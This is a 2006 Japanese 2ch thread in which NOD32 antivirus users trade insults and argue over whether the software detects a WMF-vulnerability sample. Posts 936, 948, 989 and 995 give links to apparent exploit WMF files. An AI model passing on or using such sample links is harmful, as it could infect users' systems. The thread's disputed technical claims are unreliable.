919 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:55:11 ]: 馬鹿は類を呼ぶってことは解った。
920 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:56:53 ]: がんばれマカフィー Part.22 / ガンバレMcAfee
pc8.2ch.net/test/read.cgi/sec/1133846906/
ＮＯＤ３２厨しね
うざいからくるな
921 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/03(火) 23:57:22 ]: 馬鹿は類を呼ぶの検索結果 1 件中日本語のページ 1 - 1 件目 (0.49 秒)
類は友を呼ぶの検索結果約 132,000 件中 1 - 10 件目 (0.23 秒)
922 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 00:05:26 ]: 名言連発だな
923 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 00:06:36 ]: >>919が馬鹿って事だけ分かった。
924 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 00:08:12 ]: >>919=NOD厨が馬鹿って事だけ分かった。
925 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 00:17:03 ]: マカフィー愛用者がNOD32愛用者しねだって
あいつらがうんこなのに
926 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 01:30:39 ]: 1.1350 (20060103)
927 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 01:40:40 ]: うーん、もうチートネタじゃ釣れなくなってきたなぁ面白かったのに。

『通報しました（￣ー￣）』 ←勝ったつもり
928 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 01:59:44 ]: まぁしかしクラックしたとからかわれただけで
キヤノンにメール送ってみたりライセンスをわざわざ再読してみたりと踊ってるんだから楽しい人たちよね。
929 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 02:54:58 ]: 踊らせているつもりが踊っていたりして楽しい人たちよね。
930 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 03:04:47 ]: ノートンネタが通じなくなったら、こんどはマカフィー。
分かり易い煽りですねw
931 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 03:07:51 ]: >>929
悔しいのか？
厨房は掲示板で煽っただけ。信者はせこせこメール打ったりPDFダウンロードしたり。
どっちがより精力的だろうな。動かされたのはどっちだ？
932 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 03:13:00 ]: 投稿数で圧倒的に煽りの勝ちだろ？w
933 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/04(水) 05:55:50 ]: 工作活動ご苦労ｗ
934 名前：名無しさん＠お腹いっぱい。 [2006/01/04(水) 07:58:11 ]: SPYSWEEPERをウイルスと検知なぜ？
935 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 09:56:45 ]: >>934
まずはSpySweeperのどのファイルを
どういうVirusとして検出したのかを書け
936 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 15:36:33 ]: NOD32はこれ検出する？
caspian.s33.xrea.com/images/runosk.wmf
937 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 15:42:34 ]: 1.1351 (20060103)
938 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 15:48:04 ]: >>936
つながんね
939 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 15:50:04 ]: >>936
WMF トロイの亜種ってでて検出した
940 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 16:14:22 ]: NOD：NEET or DQNの略称。まさにニートかDQNしか使わないアンチウイルス
941 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 16:19:07 ]: 正月大喜利の時間はもう終わりましたよ。
942 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 16:27:44 ]: NOD：NEET or DQNの略称。まさにニートかDQNしか使わないアンチウイルス
DQN1=941
943 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 16:45:40 ]: はいはいおもしろいね
944 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:09:21 ]: >>936
誤検出はしないよ。
945 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:21:57 ]: NOD：NEET or DQNの略称。まさにニートかDQNしか使わないアンチウイルス
DQN2=943
946 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:27:34 ]: >>936
検出しないよ。
そのwmfは、オーバーフローを起こさない。
MSコンポーネントのバグにより内包されているマクロを実行しているだけで、制御権はインタープリタに残っている。
それを実行しないようにするにはMSの修正パッチが出るまで待つ必要があります。
947 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:37:36 ]: >>946
クラッカー乙、普通に検出する
948 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:41:33 ]: IMON
caspian.s33.xrea.com/images/runosk.wmf
ウイルスの可能性 : Win32/Exploit.WMF トロイの亜種
949 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:42:45 ]: >>947-948
いや、検出されることはありえない。
検出するというなら、検出した画像をUPしてみろってw
950 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:47:46 ]: >>949
クラッカー報告乙
951 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:48:40 ]: ヨドで買ってきた。
さっそくインスコしてみたけど確かに良いね。
952 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:50:36 ]: ttp://vista.x0.com/img/vi17417.jpg
953 名前：949 mailto:sage [2006/01/04(水) 17:51:40 ]: >>950
俺は正規ユーザーですよ。
勝手に嘘を吹聴しないでくれよな。
954 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:52:10 ]: >>951
>>936のURL踏んで見み、ちゃんとブロックしてくれる
955 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:53:25 ]: NOD32が検出する前にDLできないわけだが
956 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 17:53:59 ]: >>953
ばーか！
ちゃんと検出されるんだよ
957 名前：名無しさん＠お腹いっぱい。 [2006/01/04(水) 17:55:13 ]: ageておきましょうね
958 名前：949 mailto:sage [2006/01/04(水) 17:59:04 ]: >>952
捏造お疲れw
ファイルがhttp://になっていないのはなぜかな？

>>956
お前頭悪すぎw
959 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:01:15 ]: >>958
ttp://vista.x0.com/img/vi17419.png
不正利用クラッカー報告乙
960 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:02:06 ]: おなかすいたな
961 名前：949 mailto:sage [2006/01/04(水) 18:03:10 ]: 952が行った捏造方法

1)NOD32の設定を変更し検知しない状態にする。
2)実際に検知するサンプルコードをダウンロードし、名前をrunosk.wmfに変更。
3)NOD32の設定を検知するように戻す。
4)検知して撮影。

バカすぎるw
962 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:04:56 ]: 今回のWMFの脆弱性は、定義ファイルが全く追いついてないから
こういう時こそNODのヒューリスティックが役に立つな。
定義の更新無しでもたちどころに亜種を検出してるし、他のアンチウイルスには
到底まねできない芸当だよな。
963 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:06:01 ]: >>961
おまえ何？
ただの馬鹿？
964 名前：949 mailto:sage [2006/01/04(水) 18:06:41 ]: >>959
どうして普通に撮影できないのかな？
965 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:08:02 ]: >>958
ttp://vista.x0.com/img/vi17421.jpg
966 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:08:20 ]: 不正利用がばれて相当ファビョってるようですな
967 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:09:10 ]: 一千万年体験版でもちゃんと検出するよ。
968 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:10:40 ]: キヤノンのサポート今日からやってるのか。
正月休み短いんだな。
10日ぐらいまで休んでるダメ企業もあるのにw

乗り換えの相談で相当混み合ってるだろうな。
969 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:12:16 ]: 　ｧ　 ∧＿∧　ｧ,､
　,､'` （　´∀｀）　,､'`
　'` 　( ⊃ ⊂)　
970 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:13:05 ]: >>964
おいおい>>965にはなんて反論するんだよｗｗｗｗｗｗｗｗｗｗ
971 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:19:05 ]: >>970
よし、俺が代わりに反論してやろう。
右下にいる猫が怪しい。あいつが画像を書き換えてるんだ。
972 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:19:51 ]: 削除することが出来ます。Eset社に>>949を提出してください
973 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:22:50 ]: >>971
右下の猫すごいなおれも欲しいｗ
974 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:23:51 ]: 同じNOD使いでもZAを使っている奴はよく分からん。
なんでもっとも軽いアンチウイルスを使いながらもっとも重いファイアーウォールを使うんだろう。
975 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:24:37 ]: NOD32　それは神のツール
976 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:25:38 ]: >>973
めもりくりーなーだろ
釣ってるのか
977 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:26:22 ]: >>974
釣れますか？
978 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:27:19 ]: 削除することが出来ます。Eset社に>>949を提出してください
979 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:27:23 ]: >>974
すごく胴囲
980 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:27:35 ]: >>974
じゃあフリーでほかにどんな良いFWがあるのか説明してみろや
981 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:28:25 ]: だんだん宗教じみてきたな・・・
982 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:28:30 ]: >>980
Jetico　kerio
983 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:29:57 ]: 盛り上がってきたね。
949どこいった？ｗ
984 名前：949 mailto:sage [2006/01/04(水) 18:32:57 ]: これは失礼した、NOD32のシグネチャが1.1347だった。
最新(1.1351)にすると検知する。
誰かが、検体を送ったようだな。
別にオーバーランするわけでもないのだからシグネチャ改良しなくてもよいのにな。
985 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:32:58 ]: 相変わらずの基地外っぷりだな

>>980
相手すんな
986 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:39:07 ]: 草加
987 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:39:23 ]: >>984
(・ー・）･･･
988 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:40:50 ]: >>984
残念1.1351以前から対応してた
もう来るなよ
989 名前：949 mailto:sage [2006/01/04(水) 18:43:54 ]: >>988
いや、1.1347だと未対応だよ。
>>946に書いてある通り、runosk.wmfはオーバーランしない構造であり、
下記のサンプルコードは違うからね。

> ttp://grin.flagbind.jp/runcalc.wmf
990 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:44:11 ]: （＾ω＾；）
991 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:46:49 ]: >>980
何を使ってもいいがZAだけはない。ノートンならZAでいいがNOD32でZAはない。
992 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:48:20 ]: NOD32定義ファイル: 1.1349 (20060102)
Win32/WMFMaker.A

NOD32定義ファイル: 1.1342 (20051228)
Win32/TrojanDownloader.Wmfex
993 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:50:41 ]: >>989
今度はお前が普通に画像をUPしてみろって
そしてもう二度と来るな
994 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:52:56 ]: おなかいっぱい
995 名前：949 mailto:sage [2006/01/04(水) 18:53:25 ]: >>992
1.1342のシグネチャで対応しているのはオーバーランするものだけだ。
ttp://grin.flagbind.jp/runcalc.wmf 等は検知する。

1.1347以降の配布で該当シグネチャの改良があったということな。
改良は通知されないよ。
996 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:53:59 ]: >>989
システム情報の所の普通の画像UPもなｗ
997 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:55:26 ]: >>989
釣られてあげようw
ttp://vista.x0.com/img/vi17423.jpg
998 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:56:33 ]: 信者の粘着ぶりも醜いな。
これでは荒らしと立場が逆転しただけでやっていることが同じだ。
999 名前：TaQ mailto:Techno [2006/01/04(水) 18:57:19 ]: QQQ
1000 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/04(水) 18:57:23 ]: 　　　　　　　　1000
1001 名前：１００１ [Over 1000 Thread]: このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

[ 新着レスの取得/表示 (agate) ] / [ 携帯版 ]

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef